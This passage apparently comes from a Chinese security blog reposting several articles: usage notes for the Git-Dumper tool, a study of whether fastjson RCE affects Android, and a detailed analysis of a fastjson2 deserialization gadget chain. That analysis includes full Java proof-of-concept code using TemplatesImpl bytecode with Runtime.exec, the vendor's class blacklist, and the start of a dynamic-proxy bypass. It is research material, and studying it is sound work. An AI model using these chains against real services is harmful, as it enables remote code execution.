3、通过分析.git/packed-refs、.git/index、.git/refs/*和.git/logs/*来寻找尽可能多的对象(sha1);

4、递归获取所有的对象,并分析每一个commit来查找父组件;

5、运行“git checkout .”命令来恢复当前工作树;

工具依赖

本项目基于Python 开发,因此广大研究人员首先需要在本地设备上安装并配置好Python环境。

工具下载

GitHub安装

广大研究人员可以使用下列命令将该项目源码克隆至本地:

1
git clone https://github.com/arthaud/git-dumper.git

pip安装

我们还可以使用pip来直接安装Git-Dumper:

1
pip install git-dumper

源码构建

下载好Git-Dumper之后,可以使用pip命令来安装工具依赖组件:

1
pip install -r requirements.txt

接下来,直接运行下列命令即可:

1
./git_dumper.py http://website.com/.git ~/website

工具帮助信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
usage: git-dumper [options] URL DIR

Dump a git repository from a website.

positional arguments:

URL url

DIR output directory

optional arguments:

-h, --help show this help message and exit

--proxy PROXY use the specified proxy

-j JOBS, --jobs JOBS number of simultaneous requests

-r RETRY, --retry RETRY

number of request attempts before giving up

-t TIMEOUT, --timeout TIMEOUT

maximum time in seconds before giving up

-u USER_AGENT, --user-agent USER_AGENT

user-agent to use for requests

-H HEADER, --header HEADER

additional http headers, e.g `NAME=VALUE`

命令解释

-h, –help:显示工具帮助信息和退出;

–proxy PROXY:设置使用指定的代理;

-j JOBS, –jobs JOBS:设置同时发送的请求数量;

-r RETRY, –retry RETRY:设置请求发送尝试的最大次数;

-t TIMEOUT, –timeout TIMEOUT:设置最大超时时间,单位为秒;

-u USER_AGENT, –user-agent USER_AGENT:设置用于发送请求的用户代理;

-H HEADER, –header HEADER:设置需要添加的额外HTTP Header;

工具使用样例

下列命令可以从目标站点直接导出Git库:

1
git-dumper http://website.com/.git ~/website

项目地址

Git-Dumper:GitHub传送门

fastjson漏洞是否影响安卓

fastjson漏洞是否影响安卓

本文转自 mb_opmktjff 并作补充

fastjson有一些已知的严重RCE漏洞,例如CVE-2017-18349和CVE-2022-25845。一般其影响范围在服务器端,多为Spring Boot框架的服务,而在安卓的影响却没有搜到任何资料。我们来分析一下,如果一个安卓客户端应用使用了老版本的fastjson库,是否可以被攻击。

在查看fastjson 1.1.53.android的maven网页时,发现其标注了存在已知CVE漏洞。

https://mvnrepository.com/artifact/com.alibaba/fastjson/1.1.53.android

image

查看fastjson的github修复公告,却表示安卓环境不涉及此漏洞(CVE-2017-18349)。除此之外,没有找到更多的fastjson漏洞在安卓上的分析。

https://github.com/alibaba/fastjson/wiki/security_update_20170315

image

尽管fastjson出过好几次RCE的漏洞,但是本质上原理相同,仅仅是安全检查绕过的方法不同,因此我们本文先研究最初被发现的RCE,CVE-2017-18349。

分析思路

经过一些搜索,找到了网上一些关于此漏洞的信息,但是没有找到为什么安卓版本不涉及此漏洞。

我发现fastjson发布的版本号中,除了普通的版本还有安卓版本,后缀为“.android”。安卓版是主要针对安卓环境进行优化,除此之外没有特殊改动。

https://github.com/alibaba/fastjson/wiki/Android%E7%89%88%E6%9C%AC

image

部分fastjson安卓版的差异

以目前的信息,可以得到以下两个猜测:

  • 猜测1:fastjson的安卓版本和普通版本有区别,导致安卓版本不受此漏洞影响。
  • 猜测2:安卓运行环境不同,不受此漏洞影响。

为了分析fastjson在安卓上的影响,我们搭建3个环境。

  • 第一个是已知脆弱的环境,其服务为Spring Boot,尝试复现,然后用于比较。
  • 第二个是类似第一个的环境,但是把fastjson的依赖库版本加上“.android”后缀,以测试安卓版本在Spring Boot中是否脆弱。
  • 第三个环境是正常的安卓客户端应用,使用安卓版本的fastjson,除此之外尽可能模仿第一个环境的应用层逻辑。

尝试复现

使用vulhub上的样例可以成功复现,具体参考其wiki。

https://github.com/vulhub/vulhub/tree/master/fastjson/1.2.24-rce

但是这个样例是docker容器,其中包含的jar文件,没有源码。为了能好地分析,我们需要用源码搭建一套复现环境。要找到源码,可以尝试从docker中复制出来然后反编译。

运行其容器后,使用以下命令将里面的jar拷贝到本地宿主机。

1
docker cp <container-id>:<src-path> <dest-path>

然后用jadx打开,找到相关json反序列化入口

image

可见此poc使用的是一个spring boot框架下的普通的json反序列化,没有特殊条件。后续我们将用 JSON.parseObject() 的方式来复现

我们本地也构造这样一个环境试试。首先尝试新建一个spring boot工程,使用较新的jdk 17和spring boot 3.2.2版本,但是老的fastjson 1.2.24。

image

请注意当前的 https://start.spring.io/ 默认初始模板中的依赖是错误的。如果你是用的是其初始模板,需要将build.gradle中“org.springframework.boot:spring-boot-starter”需要改成“org.springframework.boot:spring-boot-starter-web”,否则会编译失败。

使用一个简单的反序列化payload, 在服务器根路径收到get请求时触发

image

在请求localhost:8080后,发现服务器报错

1
java.lang.reflect.InaccessibleObjectException: Unable to make public com.sun.rowset.JdbcRowSetImpl() accessible: module java.sql.rowset does not "exports com.sun.rowset" to unnamed module

搜索此报错,看到如下github issue。

https://github.com/dbgee/fastjson-rce/issues/2

看上去jdk 17是无法构造RCE的,因此尝试换成jdk 1.8 (8u202)。

image

这样修改后编译是失败的,因为spring boot 3.2.2不兼容。由于依赖的环境版本比较老,所以有一些配置需要修改才能正常跑起来。

根据这篇Stack Overflow回答,我们去找spring boot 2.7

https://stackoverflow.com/questions/76467522/cant-compile-spring-boot-on-java-1-8

按照spring boot 2.7的gradle设置,重新修改build.gradle。

https://docs.spring.io/spring-boot/docs/2.7.18/gradle-plugin/reference/htmlsingle/#getting-started

这是我的最终build.gradle。注意第22行不能加,否则在当前的环境中跑不起来。

image

与此同时,如果没有jdk 1.8,去oracle官网创建一个账号,然后下载。

由于我是用gradlew启动的程序,所以在其bash脚本中进行修改,无脑使用了java 1.8

image

在启动nc监听的情况下,再次访问该网页,复现成功。可见右侧的监听收到了rmi的请求。为了更简便地分析调试,我们这里不必使用完整的PoC,而是在收到请求之后就确定是有问题的。

image

我们先尝试一下安卓版本能否复现这个bug。由于描述上写的fastjson版本小于1.2.25都存在这个问题,所以我这里用了1.1.52.android这个版本。现在我们把build.gradle中的fastjson版本修改后重新编译并运行服务器。

然后使用同样的payload,发现服务器依然会去请求jndi。如果我们打断点,是可以看到这次调用栈进入的是1.1.52.android版本的fastjson。

image

那么排除fastjson的安卓版有不同于普通版的地方,所以安卓版是安全的的这个假设。

经过一些搜索,我们可以看到安卓是不支持jndi的。

类似fastjson,log4shell也是在安卓不受影响。其同样利用了jndi的方式进行了RCE。可以看到这篇文章分析得出安卓不影响,原因是安卓不支持jndi。

https://support.nowsecure.com/hc/en-us/articles/4417200289421-Log4Shell-and-Its-Impact-on-Mobile-Security

由于我们尝试的poc是依赖jndi的,因此安卓的老版本确实无法用相同的方式攻击。

我们搭建一个kotlin的安卓项目,并使用fastjson 1.1.52.android,其余均为默认值。

image

image

尝试在安卓应用中使用相同的payload,在activity的onCreate的时候直接运行反序列化。得到以下报错:类无法找到

image

理解此漏洞

由于老版本fastjson在反序列化时,可以指定任意类进行反序列化。在反序列化时也会调用其get、set、constructor等方法,也就相当于代码执行。

任何可以被fastjson反序列化攻击的类称为fastjson gadget,而我们最熟知的便是jndi的类。攻击者能用fastjson执行的代码,仅限于fastjson gadget。具体的反序列化分析不在本文中讨论。

安卓版本不能使用jndi的gadget,但是其他的很多gadget可以使用,也存在很多Spring Boot没有的gadget。目前已知的安卓fastjson gadget中,没有能造成实际影响的。

结论

目前已知的PoC无法攻击安卓应用,因为使用的fastjson gadget是jndi,且安卓不支持jndi。攻击者可以利用fastjson进行代码执行,但是目前(2024-02-26)没有发现可以在安卓上造成实际影响的fastjson gadget。

本次研究的fastjson的安卓版本(后缀为“.android”)和普通版本在服务器端使用都存在RCE漏洞,攻击方式相同。

一文带你看懂fastjson2下的反序列化调用链完整过程

一文带你看懂fastjson2下的反序列化调用链完整过程

本文转自 fupanc 并作补充

来分析一下fastjson2下的反序列化调用链全过程

fastjson2下的反序列化调用链分析

前言

在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

Fastjson2<=2.0.26调试分析

依赖版本改成如下即可:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.26</version>
</dependency>

当时使用的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹出计算机。

其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

直接打断点于getOutputProperties()方法:

image

调试直接成功断在这里,此时的调用栈为:

1
2
3
4
5
6
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
main:32, Main (org.example)

朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

image

很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

现在来跟一下具体细节,看一下对序列化类的处理逻辑。

打断点于toString()方法:

image

这里的JSONWriter的Feature是一个枚举类型的类:

image

里面就有我们获取的定义在这个类中的ReferenceDetection值。

后面发现JSONObject类在fastjson2中其实有两个:

image

在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

image

跟进这个JSONWriter类的of()方法:

image

最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

image

这里的defaultObjectWriterProvider是静态的直接默认的变量:

image

继续跟进JSONWriter类的内部类Context类的初始化:

image

也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

image

继续往父类初始化:

image

继续往父类看:

image

初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

image

这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

image

可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

而后这个char数组的内容都是默认的占位符吧应该是:

image

后续会提到,这里就先继续调试跟着走。

——————

回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

image

然后应该是设置了要序列化的类:

image

跟进setRootObject()方法:

image

效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

image

这里调用了迭代器来获取我们存储在JSONObject中的键值对:

image

然后继续往后面走,可以看到序列化key的地方:

image

当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

image

数组的一个copy操作,将value的值copy进chars中。

继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

image

并且对其进行了获取Class处理并对比,如下一些class对象:

1
2
3
4
5
6
7
String.class
Integer.class
Long.class
Boolean.class
BigDecimal.class
JSONArray.class
JSONObject.class

毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

image

非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

跟进Context类的getObjectWriter()方法:

image

可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

image

然后会调用ObjectWriterProvider类的getObjectWriter()方法:

image

代码如下:

image

毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

image

前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

跟进getCreator()方法:

image

最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

image

这里就涉及到了有关creator的赋值,调试效果如下:

image

这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

image

所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

image

并且将变量classloader赋值为了DynamicClassLoader类实例:

image

跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

image

很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

回到ObjectWriterProvider类的getObjectWriter()方法:

image

故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

image

这里会先调用BeanUtils类的getters()方法,关键在于如下:

image

先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

image

可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

image

再然后就会创建序列化类了:

image

此时的调用栈为:

1
createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)getters:1010, BeanUtils (com.alibaba.fastjson2.util)createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

继续跟进createFieldWriter的实现:

image

比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

image

就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

image

比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

image

然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

image

再然后可以看到fieldWriterMap的值发生了变化:

image

一切都是有规律的。

这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

image

可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

image

——

故事的最后,我们如约获取到了对应的三个getter方法:

image

然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

image

可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是实例化了这个类作为objectWriter并返回

image

这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
genMethodWriteJSONB() writeJSONB()
genMethodWrite() write()
genMethodWriteArrayMapping() writeArrayMapping()

调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用

跟进genMethodWrite()方法:

image

可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

image

调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

image

会获取到filterWriter的fieldClass,然后进行类型判断:

image

最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

image

关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

1
genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

image

但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

这里可以使用arthas工具,我们需要将运行代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString();
}catch (Exception e){
while(true){
}
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

image

在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

1
jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl

然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var12_11) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
if (var13_13 != null) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var12_11);
} else lbl-1000:
// 2 sources
{
this.fieldWriter0.writeFieldName(var1_1);
this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
}
}
break block20;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeNull();
}
}
var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
if (var15_14 == null) break block21;
if (var1_1.isIgnoreNoneSerializable(var15_14)) break block22;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var15_14) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter1, (Object)var15_14);
if (var13_13 != null) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var15_14);
} else lbl-1000:
// 2 sources
{
this.fieldWriter1.writeFieldName(var1_1);
this.fieldWriter1.getObjectWriter(var1_1, var15_14.getClass()).write(var1_1, var15_14, "stylesheetDOM", this.fieldWriter1.fieldType, 0L);
}
}
break block22;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter1.writeFieldName(var1_1);
var1_1.writeNull();
}
}
if ((var16_15 = ((TemplatesImpl)var2_2).getTransletIndex()) != 0 || var10_7 == false) {
this.fieldWriter2.writeInt32(var1_1, var16_15);
}
var1_1.endObject();

在这个部分代码中,我们可以看到调用了对应的三个getter方法,顺序是getOutputProperties() => getStylesheetDOM() => getTransletIndex()

从而达到通过调用getter方法获取到对应field值的效果。

至此,在可行版本下序列化的过程调试分析完毕。

绕过限制再次达成攻击

那么官方在2.0.27版本下在哪些方面做了限制导致前面的链子不能执行呢,修改fastjson2的版本来探究一下:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba.fastjson2/fastjson2> -->
<dependency>
<groupId>com.alibaba.fastjson2</groupId>
<artifactId>fastjson2</artifactId>
<version>2.0.27</version>
</dependency>

那么在新的修复中做了哪些改变呢,再次过了一遍了流程,主要做出的改变就是在BeanUtils类的getters()方法中加了一个黑名单:

image

从前面的调试分析中知道BeanUtils#getters()就是一个处理类中的method的非常关键的方法,前后流程对比可以在2.0.27版本中是多了如图的这几行代码,对传参的objectClass进行了判断,也就是对要序列化的类进行了处理,只要符合条件就直接退出了流程的继续,跟进这个ignore()方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static boolean ignore(Class objectClass) {
if (objectClass == null) {
return true;
}
String name = objectClass.getName();
switch (name) {
case "javassist.CtNewClass":
case "javassist.CtNewNestedClass":
case "javassist.CtClass":
case "javassist.CtConstructor":
case "javassist.CtMethod":
case "org.apache.ibatis.javassist.CtNewClass":
case "org.apache.ibatis.javassist.CtClass":
case "org.apache.ibatis.javassist.CtConstructor":
case "org.apache.ibatis.javassist.CtMethod":
case "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl":
case "com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl":
case "org.apache.wicket.util.io.DeferredFileOutputStream":
case "org.apache.xalan.xsltc.trax.TemplatesImpl":
case "org.apache.xalan.xsltc.runtime.AbstractTranslet":
case "org.apache.xalan.xsltc.trax.TransformerFactoryImpl":
case "org.apache.commons.collections.functors.ChainedTransformer":
return true;
default:
break;
}
return false;
}

很容易看出这里就是添加了一个黑名单,其中过滤了一些非常关键的如TemplatesImpl、AbstractTranslet类,由于我们传参的类为TemplatesImpl类,匹配到这里的逻辑,导致直接return退出,不会再进行后续的操作。

但是这里还是可以通过动态代理来绕过。

JdkDynamicAopProxy链

这里使用到的类就是JdkDynamicAopProxy类,需要有spring-aop依赖:

1
2
3
4
5
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>5.3.19</version>
</dependency>

我们在jackson不稳定性绕过以及SpringAOP链中都使用到了这个类,是一个功能非常强大的类,这里主要的思路就是利用jackson解决不稳定性的方法来分析利用(个人认为fastjson2不会存在这个不稳定性,因为在成功创建了所有的fieldWriterMap后,还会调用Collections.sort()进行排序,故应该不会存在先后问题错误导致直接退出),然后这里讲讲这里的JdkDynamicAopProxy类的利用点:

这里主要利用的是它的invoke()方法,基本构造就是最初学习时的格式:

image

在这里主要的利用点就是如下代码:

image

只要可控这里的target,并且控制chain为空,那么就可以调用到AopUtils类的invokeJoinpointUsingReflection方法:

image

那么恰巧的是,这些参数是可控的,并且在SpringAOP链的学习中,可以知道我们需要调用AdvisedSupport类addAdvisor()方法来给其变量advisors赋值从而可以满足后续的条件从而可以让这里的chain不为空进入else语句进而继续后续链子的调用,那么在这里正如jackson那个的解决方法一样,直接默认即可让变量advisors为空从而直接让chain为空从而进入if语句,所以只需要控制targetSource.getTarget()返回值对应即可,而这里的AdvisedSupport类有好用的方法:

image

直接用这里的SingletonTargetSource类即可。所以只要在代理对象调用到getOutputProperties(),就会进入到这里的invoke()方法,并且控制getTarget()返回对象为构造好的TemplatesImpl类即可。

简单思路就是如上,并且和jackson调用链绕过的流程可以说非常像,现在我们就需要注意调用fastjson序列化时的过程了,这里我们会利用到动态代理,先来简单看一个本地demo:

image

